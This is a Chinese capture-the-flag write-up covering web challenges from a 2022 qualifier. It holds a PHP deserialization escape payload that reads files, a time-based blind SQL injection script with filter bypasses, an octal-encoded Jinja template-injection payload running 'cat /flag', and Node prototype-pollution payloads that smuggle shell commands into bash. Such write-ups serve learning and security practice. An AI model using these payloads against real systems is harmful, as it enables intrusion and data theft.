2022强网拟态线上预选赛复现(上)
前言
这个比赛当时和n1ctf冲了,所以两边同时看是比较花时间。比赛过程中也出现不少需要吸取经验的细节:比如说对题目的时间分配以及漏洞利用方法的总结。
总的来说学到很多...
aurora当时的战况是pwn爷终于愿意帮忙做点pwn题了,@夏男人也过来帮忙出了不少题,但是web方面当时发现ezpop能够时间盲注后就一条路走到黑,没有花时间看whoyouare,导致最终第一天结束发现排名落后严重,失去晋级的机会,大家就变得失落了;最终web方向只完成了ezus和py题,ezpop差一步(读出列名),web_mimic应该是出了但是flag获取不到,norce被@miku神出了但是没交flag(思路我已经看出来了),whoyouare刚刚发现可以四字符rce以及原型链污染。总的来说就是做了2个题还有2个题交不上flag,2道题在路上。
于是赛后复盘如下:
mimic_web
感觉是misc
但是我请求了get不了flag,环境问题
ezus
/index.php/tm.php/%E5%95%8A?source
7个变3个,反序列化字符串逃逸漏洞
php5,这个wakup直接改参数绕过
读hint.php
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=aaaa";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:63:"php://filter/convert.base64-encode/resource=try/pass/../../hint";s:4:"hint";s:63:"php://filter/convert.base64-encode/resource=try/pass/../../hint";}}";}
得知flag在f1111444449999.txt
最后发现加了.php,所以只能在hint那里file_get_content读取
找到了原题https://blog.csdn.net/qq_46091464/article/details/108570212
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=aaaa";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:49:"0://prankhub/../../../../../../f1111444449999.txt";}}
ezpop
password='or/**/0/**/or/**/benchmark(1000000000,0)#&username=admin
发现时间盲注
过滤比较严格:
大于号等于号小于号异或 #可以用case when then else end ; !strcmp(table_schema,"123")
空格 #可以用/**/
sleep #可以用benchmark(1000000000,0)
import time
import requests
url='http://172.52.56.117/index.php'
r=requests.session()
flag=''
for i in range(0,1):
for j in range(33,127):
# group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=
# payload="'or/**/(case/**/(right((database()),8))/**/when/**/'%cctfgame'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
payload="'or/**/(case/**/(right((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer/**/where/**/!strcmp(table_schema,database())),17))/**/when/**/'%cusers,Fl49ish3re'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
# payload="'or/**/(case/**/(right((version()),6))/**/when/**/'%c.7.39'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
# payload="'or/**/(case/**/(right((select/**/group_concat(table_name)from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='ctfgame'),1))/**/when/**/'%c'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
# payload="'or/**/(case/**/(right((select/**/(value)from/**/Fl49ish3re),1))/**/when/**/'%c'/**/then/**/0/**/else/**/1/**/end)/**/or/**/benchmark(1000000000,0)#" % chr(j)
# 5.7.39
# \ctfgame,ctfgame
# \users,Fl49ish3re
data = {"username": 'admin', "password": payload}
print(payload)
starttime = time.time()
r = requests.post(url=url, data=data)
endtime = time.time()
t=endtime-starttime
if t >= 1:
print(chr(j))
break
else:
continue
吐槽:为什么这个时间盲注脚本不写多一个循环让他逐位爆破呢,那是因为脚本有时候会受到网络延时的影响导致时间盲注结果出错,最后大小写还要手试。
当时苦于不知道在过滤in的情况下找到字段,挣扎很久后遂放弃
后面看到wp
select query from sys.statement_analysis
请求访问的数据库名、数据库最近执行的请求
仔细一想,确实很有可能
本地尝试建表
CREATE DATABASE my_dbThai;
use my_dbThai;
CREATE TABLE Persons
(
Id_P int,
LastName varchar(255),
FirstName varchar(255),
Address varchar(255),
City varchar(255)
);
确实有的,记录一下
wm则是:
sys.x$statement_analysis读列名
测试后发现也是有的
技不如人甘拜下风
没有人比我更懂py
ssti,然后过滤字母
考虑编码绕过,八进制
按照这个:
http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/
当你找到<class 'os._wrap_close'>
这个类就可以直接再后面加上__init__.__golbals__['popen'][ls].read()
八进制的写法:
["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()
//__init__.__golbals__['popen'][ls].read()
所以最终payload
data={{""["\137\137\143\154\141\163\163\137\137"]["\137\137\155\162\157\137\137"][1]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[132]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()}}
转八进制或者hex的脚本:
#################### hex ##########
base = input("请输入要转换的字符串:")
flag = ""
print(base)
for a in base:
by = bytes(a,'UTF-8') #先将输入的字符串转化成字节码
hexstring = by.hex() #得到16进制字符串,不带0x
flag = flag + "%" + hexstring
print(flag)
######################## 八进制 ##########
base = input("请输入要转换的字符串:")
flag = ""
print(base)
for a in base:
flag = flag + '\\' + str(oct(ord(a)))[2:]
print(flag)
赛后看其他人的wp,发现还可以unicode字符绕过,和jacko讨论一番,觉得是后端的“繁简切换”功能把全角英文转半角了,而waf是加在这个转化之前的(希望有题目源码的师傅踢我一脚!)
WHOYOUARE
这里一开始json.parse格式输错了,卡了半天,看来这个node有点生疏了
JSON.parse() 方法将数据转换为 JavaScript 对象
由于是JSON.parse(request.body.user)。所以user后面的值是json对象
checkUser规定了 command必须是数组且元素数量小于等于2
(其实有时候可以直接浏览器console)
然后按照这个格式就可以输入
{"user":"{\"username\":\"guest\",\"command\":[\"-c\",\"dir\"]}"}
merge第二次递归调用的时候就会把command里面的id赋值为我们可控的dir
在题目环境中是可以这样rce的,可惜限制了字符数量,并且没有写权限,所以不行
merge函数容易让人想到原型链污染,虽然有过滤
但是经过搜索(关键词key !== '__proto__' bypass
),找到了https://gist.github.com/sttk/9e83d802c4a1a2f24fab807b0644a8db
容易想到如果污染user的原型,即
user.__proto__
:{"command": ["-c","cat /*"]}
那么解析user.command的时候
就会变成刚刚那个数组
根据文章里面的poc
console.log({}.polluted); // ==> undefined
deepCopy({}, JSON.parse('{"constructor":{"prototype":{"polluted":1}}}'));
console.log({}.polluted); // ==> 1
如法炮制
{"user":"{\"username\":\"guest\",\"constructor\":{\"prototype\":{\"command\": [\"-c\",\"cat /*\"]}}}"}
执行一次后,调试的时候发现request.user的原型被污染为了command: ["-c", "cat /*"]
但是没有用,因为command总是会被赋值,不存在未赋值然后寻找原型的机会
污染环境变量
后面意识到可以写道环境变量里面调用
node@27a7448f2968:/usr/src/app$ export qyxyyds="ls"
node@27a7448f2968:/usr/src/app$ echo $qyxyyds
ls
node@27a7448f2968:/usr/src/app$ bash -c $qyxyyds
app.js node_modules package-lock.json package.json routes utils
{"user":"{\"username\":\"guest\",\"command\":[\"-c\",\"env\"],\"constructor\":{\"prototype\":{\"command\": [\"-c\",\"cat /*\"]}}}"}
多了和command变量
咱可以随意指定名称
注意不可以cat /*,因为执行结果中凡是有一个报错就不会输出
{"user":"{\"username\":\"guest\",\"command\":[\"-c\",\"$tai\"],\"constructor\":{\"prototype\":{\"tai\": \"cat /flag\"}}}"}
污染user
还有另一种解法
要意识到我们有两个可以污染原型链的地方:
- json.parse直接通过赋值的方式污染了user变量
- merge通过递归的方式污染request.user
就是污染1:cat /flag,这里主要目的是污染user
再次,这个时候我们可以验证一下
可以看到明明似乎command我们只输入了一个元素,这里出现多了一个cay /flag,这是为何呢,和上一步的关系是怎么样的
进去调试,结果Merge后会发现
在merge后,command的内容变成可控的cat /flag
重新进去merge里面调试,原来在这里的时候,我正纳闷着为什么source还有一个叫1的key,原来它的原型链有东西
至于为何source有这个原型链的属性,那是因为它是user,user在json.parse后就被污染了(第一步的时候)
那么之后就会顺理成章的赋值给target,变得可控
这里的payload可以刚好前端输出让我们康康
下面我们直接rce了,通过上面的输出,我们已经确定了user的确被污染,结果Merge后它一定会把变量污染到command中
如果正常是会
node@27a7448f2968:/$ bash -c
bash: -c: option requires an argument
但是污染到的话,最后会多一个参数
所以如此
后面两道java有空再复现了
一个是二次反序列化绕黑名单然后jdbc读文件
另一个编码绕过有点离谱